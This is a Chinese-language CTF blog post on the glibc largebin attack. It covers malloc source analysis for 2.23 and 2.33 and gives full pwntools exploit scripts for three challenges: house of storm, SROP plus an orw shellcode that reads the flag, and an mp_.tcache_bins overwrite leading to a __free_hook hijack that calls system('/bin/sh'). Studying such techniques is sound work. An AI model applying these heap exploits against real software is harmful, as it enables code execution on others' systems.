前言.
最近刷题遇到好几道需要large bin attack的题目,且一些漏洞联合利用的方式也要用到large bin attack 故写此博客记录
认识largebin
先通过一个简单的demo来认识largebin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdlib.h> #include <stdio.h> int main () { int * a = malloc (0x430 ); malloc (0x10 ); int * b = malloc (0x440 ); malloc (0x10 ); int * c = malloc (0x450 ); malloc (0x10 ); free (b); free (c); free (a); malloc (0x1000 ); }
根据上图,可以得出,每一个largebin链表中,堆块以从小到大的顺序排列,且fd指针总是指向比自己大的堆块(最后一个除外),相较于其他的bin多出来fd_nextsize 和 bk_nextsize 指针。
largebin图解
2.23 mallac 源码解析
下面实在2.23下的有关largebin 的部分源码,glibc2.27和glibc2.23相似,只是的多了有关tacahe的判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 for (;; ) { int iters = 0 ; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (victim->size > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av); size = chunksize (victim); if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long ) (size) > (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL ; remainder->bk_nextsize = NULL ; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
这段代码是判断将chunk从unsorted bin中脱离出来进入到所属bin的过程,如果chunk的大小在0x400以上,就会把chunk分配到largebin中
接下来就是关键: 由于largebin中需要满足chunk从小到大等顺序排列,所以当一个chunk归入largebin时,会存在一个解链的操作
在代码的110行到第113行
1 2 3 4 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;
当解链的时候会有victim->bk_nextsize->fd_nextsize = victim 即 fwd->bk_nextsize->fd_nextsize=victim
而在最后有
1 2 3 4 victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
可以看到bck->fd = victim,即fwd->bk->fd = victim
综上,如果可以控制bk和bk_nextsize的值,就可以实现任意地址写
how2heap largebin attack for 2.23
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <stdio.h> #include <stdlib.h> int main () { unsigned long stack_var1 = 0 ; unsigned long stack_var2 = 0 ; fprintf (stderr , "stack_var1 (%p): %ld\n" , &stack_var1, stack_var1); fprintf (stderr , "stack_var2 (%p): %ld\n\n" , &stack_var2, stack_var2); unsigned long *p1 = malloc (0x320 ); malloc (0x20 ); unsigned long *p2 = malloc (0x400 ); malloc (0x20 ); unsigned long *p3 = malloc (0x400 ); malloc (0x20 ); free (p1); free (p2); void * p4 = malloc (0x90 ); free (p3); p2[-1 ] = 0x3f1 ; p2[0 ] = 0 ; p2[2 ] = 0 ; p2[1 ] = (unsigned long )(&stack_var1 - 2 ); p2[3 ] = (unsigned long )(&stack_var2 - 4 ); malloc (0x90 ); fprintf (stderr , "stack_var1 (%p): %p\n" , &stack_var1, (void *)stack_var1); fprintf (stderr , "stack_var2 (%p): %p\n" , &stack_var2, (void *)stack_var2); return 0 ; }
程序分析
Step0: 定义stack_var1,stack_var2并且赋值为0
Step1: 申请p1=0x320,p2=0x400,p3=0x400
Step2: 释放掉p1,p2进入unsorted bin
Step3: 申请p4=0x90,此时发生unsorted bin遍历,从p1切割0xa0大小分配给p4,同时由于p2>0x3f0,直接进入largebin
Step4: 释放p3进入unsorted bin
Step5: 修改p2的size=0x3f1,fd,fd_nextsize=0,p2->bk=&stack_var1-2(stack_var1即为fake chunk1的fd),p2->bk_nextsize=&stack_var2-4(stack_var2即为fake chunk2的fd_nextsize)
Step6:malloc(0x90),发生unsorted bin遍历,从p1分割0xa0,p3>0x3f0且p3>p2,会进行解链操作即p2->bk_nextsize->fd_nextsize = p3,p2->bk->fd=p3,即向fake chunk1的fd 和 fake chunk2的fd_nextszie , 写入了p3头指针的值,即将stack_var1 和 stack_va2修改为了p3的头指针
列题1
2019西湖论剑Storm_note
题目考点
1.largebin attack
2.chunk overlap
3.off by null
本题所衍生的一系列漏洞利用方法,也就是house of storm
题目分析
init
add
add函数用的是calloc,与malloc不同,calloc会对申请到的空间做初始化操作
edit
((_BYTE )(note[v1] + v2) = 0;)存在off by null
backdoor
当条件满足时可以getshell
解题步骤
Step1:构造overlap chunk
申请堆块如下
1 2 3 4 5 6 7 add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 )
其中chunk2,chunk4是我们等下需要利用overlap控制的chunk,chunk6为了防止堆块合并
overlapping
1 2 3 4 5 6 7 8 9 edit(1,b'a'*0x4f0+p64(0x500)) #修改prve_size,确保堆块的合法性 free(1) edit(0,b'a'*0x18) #off by null add(0x18) #1 add(0x4d8) #7 free(1) free(2) add(0x30) #1 add(0x4e0) #2
此时,可以通过chunk7,来控制chunk2中的内容
梅开二度
1 2 3 4 5 6 7 8 edit(4 ,b'a' *0x4f0 +p64(0x500 )) free(4 ) edit(3 ,b'a' *0x18 ) add(0x18 ) add(0x4d8 ) free(4 ) free(5 ) add(0x40 )
这里add(0x40)是为了等下large chunk的大小不同触发解链操作
Step2 largebin attack
1 2 3 free(2 ) add(0x4e8 ) free(2 )
当add(0x4e8)时,会发生unsorted bin的遍历,由于0x4e8>chunk4=0x4e0,会继续向后遍历,因为chunk2=0x4f0,刚好满足条件,所以chunk2会被申请出来,而chunk4则会被放入largebin,让后再将chunk2放入unsorted bin二次利用
伪造fake chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 content_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0 )*2 + p64(0 ) + p64(0x4f1 ) payload += p64(0 ) + p64(fake_chunk) edit(7 ,payload) payload2 = p64(0 )*4 + p64(0 ) + p64(0x4e1 ) payload2 += p64(0 ) + p64(fake_chunk+8 ) payload2 += p64(0 ) + p64(fake_chunk-0x18 -5 ) edit(8 ,payload2) add(0x48 )
由于伪造unsorted bin 的 bk时,我们故意向上偏移了0x20字节,所以得到的size就是0,由于不够申请的size,转而进入large bin 判断部分。然后进行一系列的链接操作。最后我们会分配到0xabcd00f0 地址。
为什么要伪造p64(fake_chunk-0x18-5): 由于victim->bk_nextsize的地址就是(size_t)fake_chunk - 0x18 - 5的值,那么就相当于我们有一次任意地址写的机会,那么肯定是用来构造我们的size,以便在第二次解链的时候直接返回任意chunk。
0x18就是一个chunk的fd_nextsize的偏移,因为上面的代码是要把victim写在这里,所以我们需要提取向前偏移0x18,而- 5就是为了伪造size,在开启PIE的情况下,一般victim的值在0x555555756000附近左右,当偏移5个字节之后,那么写入size的地址就刚好是0x55,由于受随机化的影响这个值会稍微有点变动。(摘自EX师傅的博客)
下图为我们申请到的fake chunk,其size为是0x56,经过malloc对其后其size会被对齐为0x50,所以我们add的时候要在0x40~0x48之间
Step3 修改随机数,getshell
1 2 3 4 payload = p64(0 ) * 2 +p64(0 ) * 6 edit(2 ,payload) p.sendlineafter('Choice: ' ,'666' ) p.send(p64(0 )*6 )
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *p = process("Storm_note" ) elf = ELF("Storm_note" ) libc = ELF("libc-2.23.so" ) def choice (choice ): p.recvuntil("Choice: " ) p.sendline(str (choice)) def add (size ): choice(1 ) p.recvuntil("size ?\n" ) p.sendline(str (size)) def edit (index,content ): choice(2 ) p.recvuntil("Index ?\n" ) p.sendline(str (index)) p.recvuntil("Content: \n" ) p.sendline(content) def free (index ): choice(3 ) p.recvuntil("Index ?" ) p.sendline(str (index)) def backdoor (lock ): choice(666 ) p.recvuntil("in\n" ) p.sendline(lock) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) edit(1 ,b'a' *0x4f0 +p64(0x500 )) free(1 ) edit(0 ,b'a' *0x18 ) add(0x18 ) add(0x4d8 ) free(1 ) free(2 ) add(0x30 ) add(0x4e0 ) edit(4 ,b'a' *0x4f0 +p64(0x500 )) free(4 ) edit(3 ,b'a' *0x18 ) add(0x18 ) add(0x4d8 ) free(4 ) free(5 ) add(0x40 ) free(2 ) add(0x4e8 ) free(2 ) content_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0 )*2 + p64(0 ) + p64(0x4f1 ) payload += p64(0 ) + p64(fake_chunk) edit(7 ,payload) payload2 = p64(0 )*4 + p64(0 ) + p64(0x4e1 ) payload2 += p64(0 ) + p64(fake_chunk+8 ) payload2 += p64(0 ) + p64(fake_chunk-0x18 -5 ) edit(8 ,payload2) add(0x48 ) payload = p64(0 ) * 2 +p64(0 ) * 6 edit(2 ,payload) p.sendlineafter('Choice: ' ,'666' ) p.send(p64(0 )*6 ) p.interactive()
RCTF 2019 babyheap
题目考点
1.chunk overlap
2.largebin attack
3.off by null
4.SROP
5.shellcode 编写
题目分析
本题的漏洞点和上一题相似,但比上一题稍难,本题同样禁用了fastbin,同时还开启了沙盒保护禁用了59号系统调用,这意味着我们无法利用system直接getshell,所以想到利用orw来读flag。题目给出了show函数,可以利用off by漏洞来泄露libc,利用house of storm劫持__free_hook,利用srop修改__free_hook处的权限的内存权限,最后将我们的shellcode植入,来读取flag
step1
泄露libc地址
1 2 3 4 5 6 7 8 9 10 11 12 13 add(0x80 ) add(0x68 ) add(0xf8 ) add(0x18 ) free(0 ) edit(1 ,b'a' * 0x60 + p64(0x100 )) free(2 ) add(0x80 ) show(1 ) libc_base = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x3c4b78 success(hex (libc_base)) add(0x160 )
说一下都做了什么:申请0,1,2号块,申请3号块防止合并,利用off by null 修改chunk2的p_size绕过unlink检查,释放2号块,此时0,1,2号块都进入unsortedbin,申请回0号块,此时1号块中储存的就是main_arena_xx的地址,show chunk1 就能得到libc地址了,最后再将2号块申请回来
Step2: house of Storm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) edit(5 ,b'a' *0x4f0 +p64(0x500 )) edit(8 ,b'a' *0x4f0 +p64(0x500 )) free(5 ) edit(4 ,b'a' *0x18 ) add(0x18 ) add(0x4d8 ) free(5 ) free(6 ) add(0x30 ) add(0x4e0 ) free(8 ) edit(7 ,b'a' *0x18 ) add(0x18 ) add(0x4d8 ) free(8 ) free(9 ) add(0x40 ) free(6 ) add(0x4e8 ) free(6 ) free_hook = libc_base + libc.sym['__free_hook' ] content_addr = free_hook fake_chunk = content_addr - 0x20 payload = p64(0 )*2 +p64(0 )+p64(0x4f1 ) payload += p64(0 ) + p64(fake_chunk) edit(11 ,payload) payload2 = p64(0 )*4 + p64(0 ) + p64(0x4e1 ) payload2 += p64(0 ) + p64(fake_chunk+8 ) payload2 += p64(0 ) + p64(fake_chunk-0x18 -5 ) edit(12 ,payload2) add(0x40 )
Step3: SROP(目前还不会,等学会了来填这个坑)
下面摘自EX师傅的博客,主要目的是把__free_hook地址设置为setcontext函数,从而控制程序流执行mprotect函数把__free_hook所在内存也修改为可执行,然后读入我们新的shellcode,在跳到新的shellcode去执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 new_execve_env = __free_hook & 0xfffffffffffff000 shellcode1 = ''' xor rdi, rdi mov rsi, %d mov edx, 0x1000 mov eax, 0 syscall jmp rsi ''' % new_execve_envedit(6 , b'a' * 0x10 + p64(libc_base + libc.symbols['setcontext' ] + 53 ) + p64(__free_hook + 0x10 ) + asm(shellcode1)) context.arch = "amd64" frame = SigreturnFrame() frame.rsp = __free_hook_addr + 8 frame.rip = libc_addr + libc.symbols['mprotect' ] frame.rdi = new_execve_env frame.rsi = 0x1000 frame.rdx = 4 | 2 | 1 edit(12 , str (frame)) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline('12' ) shellcode2 = ''' mov rax, 0x67616c662f2e ;// ./flag push rax mov rdi, rsp ;// ./flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ;// 置0就行 mov rax, 2 ;// SYS_open syscall mov rdi, rax ;// fd mov rsi,rsp ;// 读到栈上 mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall mov rdi, 0 ;// error_code mov rax, 60 syscall ''' p.send(asm(shellcode2))
####EXP
glibc 2.33 malloc.c部分源码分析
相较于glibc2.23,glibc2.33的malloc.c中针对,largebin 新增了两个检查(这个检查在glibc2.30时被加入)
部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" ); } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
新增检查如下
1 2 3 4 5 6 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); if (bck->fd != fwd)malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" );
这直接导致之前的large bin attack 无法使用,
在目前的2.3+版本的largebin attack 主要利用的是以下分支,该分支可以向任意地址写入一个堆地址
1 2 3 4 5 fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
利用原理如下:
当我们即将要进入largebin的chunk的大小小于largebin中最小的一个chunk时会进入上述判断
其中fwd为large bin 的链表头,bck是largebin中最小的那个chunk,victim是我们当前插入的堆块
因为有victim->bk_nextsize = fwd->fd->bk_nextsize;所以有fwd->fd->bk_nextsize->fd_nextsize = victim;fwd->fd刚好是我们largebin中的第一块,如果我们可以控制并修改其bk_nextsize为我们的fakechunk-0x20,则会有(fakechunk-0x20)->fd_nextsize = victim 即fakechunk = victim,这样我们就可以控制fakechunk附近的地址空间了
how2heap largebin attack for 2.33
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <stdlib.h> #include <assert.h> int main () { setvbuf(stdin ,NULL ,_IONBF,0 ); setvbuf(stdout ,NULL ,_IONBF,0 ); setvbuf(stderr ,NULL ,_IONBF,0 ); size_t target = 0 ; printf ("Here is the target we want to overwrite (%p) : %lu\n" ,&target,target); size_t *p1 = malloc (0x428 ); size_t *g1 = malloc (0x18 ); size_t *p2 = malloc (0x418 ); printf ("p2 address (%p)\n" ,p2-2 ); size_t *g2 = malloc (0x18 ); free (p1); size_t *g3 = malloc (0x438 ); free (p2); p1[3 ] = (size_t )((&target)-4 ); size_t *g4 = malloc (0x438 ); printf ("Target (%p) : %p\n" ,&target,(size_t *)target); assert((size_t )(p2-2 ) == target); return 0 ; }
分析
Step1: 定义一个target并赋值为0
Step2: 申请p1=0x428 p2=0x418,g1,g2用于防止堆块合并
Step3: 释放p1进入unsorted bin,申请g3=0x438发生unsorted bin遍历,由于p1<0x438,p1将会直接进入largebin
Step4: 释放p2进入unsorted bin
Step5: 修改p13 即p1的bk_nextsize 为target-0x20
Step6: 申请g4=0x438,发生unsorted bin遍历,会将p2链入进large bin,由于p2小于p1,所以会进入如下分支
1 2 3 4 5 6 fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
最后会有(target-0x20)->fd_nextsize = p2
即target = p2
相当于向target中写入了p2的地址
程序运行结果如下:
例题2
[2021 祥云杯]PassWorbox ProVersion
题目分析
这题第一次做时是用的house of banana做出来的,后来看到大佬写的wp发现largebin attack也可以做
add
限制申请堆块大小只能为large chunk 大小,且会讲content通过encode函数加密
endcode函数如下
讲明文分为八位一组与key进行异或加密,且key为rand随机生成
同时还给了一个recover 函数
这个函数可以回复被释放掉的堆块的标志位,可以用来UAF
delete,edit,show都是正常的功能
解题步骤
Step1:获取key
利用fgets的特性,当输入\n时,fgets会用\x00来填充剩下的size,0 ^ key = key来得到key
1 2 3 4 add(0 ,0x450 ,b'a\n' ) p.recvuntil("ID:" ) p.recv(8 ) key = u64(p.recv(8 ))
Step2:leak libc
将chunk0释放到unsorted bin中,利用UAF得到libc地址
1 2 3 4 5 6 7 8 9 10 11 add(1 ,0x420 ,b'aaa' ) free(0 ) recover(0 ) show(0 ) p.recvuntil("is: " ) libc_addr = (u64(p.recv(8 ))^key) libc_base = libc_addr -0x1ebbe0 success("libc_base: " +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ]
Step3:largebin attack
我们已知可以利用largebin attack 在任意地址写入一个堆地址,那么往哪里写呢?
这里可以攻击mp_结构体
mp_结构体如下
mp_.tcache_bins其实就时只允许的最大tcache chunk大小,如果释放的chunk小于mp_.tcache_bins那么就会被当作tcache bin来处理
那我们就可以将一个chunk的地址写入到tcahe_bins的位置,来伪造其值,由于chunk的地址作为值大小都非常大,我们的large chunk也会被当作tcache chunk来处理,那我们就可以利用tcache double free劫持__free_hook来getshell了
由于mp_结构体的偏移无法利用libc.symbol计算,这里给出计算方法
这样我们就能得到mp_+72的地址,再利用distance计算偏移,tcache_bins在mp_+80的位置
1 2 3 4 5 6 7 8 9 10 add(0 ,0x450 ,b'aaa' ) add(2 ,0x440 ,b'aaa' ) add(3 ,0x420 ,b'aaa' ) free(0 ) add(4 ,0x600 ,b'aaa' ) free(2 ) recover(0 ) gdb.attach(p) payload = p64(0 )*3 +p64(libc_base + 0x1eb280 + 0x50 - 0x20 ) edit(0 ,payload)
Step4: 劫持free_hook
1 2 3 4 5 6 7 8 9 10 11 12 add(5 ,0x600 ,b'aaa' ) add(6 ,0x500 ,b'aaa' ) add(7 ,0x500 ,b'aaa' ) free(7 ) free(6 ) recover(6 ) edit(6 ,p64(free_hook)) add(6 , 0x500 ,b'aaa' ) add(7 , 0x500 ,b'aaa' ) edit(7 , p64(system)) edit(1 , b"/bin/sh\x00" ) free(1 )
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *p = process("pwdPro" ) elf = ELF('pwdPro' ) libc = ELF('libc-2.31.so' ) ld = ELF('ld-2.31.so' ) def add (index,size,content ): p.recvuntil("Choice:" ) p.sendline("1" ) p.recvuntil("Add" ) p.sendline(str (index)) p.recvuntil("Save:" ) p.sendline("1" ) p.recvuntil("Pwd:" ) p.sendline(str (size)) p.recvuntil("Pwd" ) p.sendline(content) def edit (index,content ): p.recvuntil("Choice:" ) p.sendline("2" ) p.recvuntil("Edit:" ) p.sendline(str (index)) p.send(content) def show (index ): p.recvuntil("Choice:" ) p.sendline("3" ) p.recvuntil("Check:" ) p.sendline(str (index)) def free (index ): p.recvuntil("Choice:" ) p.sendline("4" ) p.recvuntil("Delete:" ) p.sendline(str (index)) def recover (index ): p.recvuntil("Choice:" ) p.sendline("5" ) p.recvuntil("Recover" ) p.sendline(str (index)) add(0 ,0x450 ,b'a\n' ) p.recvuntil("ID:" ) p.recv(8 ) key = u64(p.recv(8 )) add(1 ,0x420 ,b'aaa' ) free(0 ) recover(0 ) show(0 ) p.recvuntil("is: " ) libc_addr = (u64(p.recv(8 ))^key) libc_base = libc_addr -0x1ebbe0 success("libc_base: " +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add(0 ,0x450 ,b'aaa' ) add(2 ,0x440 ,b'aaa' ) add(3 ,0x420 ,b'aaa' ) free(0 ) add(4 ,0x600 ,b'aaa' ) free(2 ) recover(0 ) gdb.attach(p) payload = p64(0 )*3 +p64(libc_base + 0x1eb280 + 0x50 - 0x20 ) edit(0 ,payload) add(5 ,0x600 ,b'aaa' ) add(6 ,0x500 ,b'aaa' ) add(7 ,0x500 ,b'aaa' ) free(7 ) free(6 ) recover(6 ) edit(6 ,p64(free_hook)) add(6 , 0x500 ,b'aaa' ) add(7 , 0x500 ,b'aaa' ) edit(7 , p64(system)) edit(1 , b"/bin/sh\x00" ) free(1 ) p.interactive()
参考
https://blog.csdn.net/zero_lee/article/details/7865481
https://www.bilibili.com/video/BV1Uv411j7fr?p=24
https://www.freebuf.com/articles/system/209096.html
http://blog.eonew.cn/archives/858#glibc-223mallocmallocc_3532
https://blog.csdn.net/qq_41202237/article/details/112825556
https://www.anquanke.com/post/id/244018
https://www.jianshu.com/p/d2588586a47d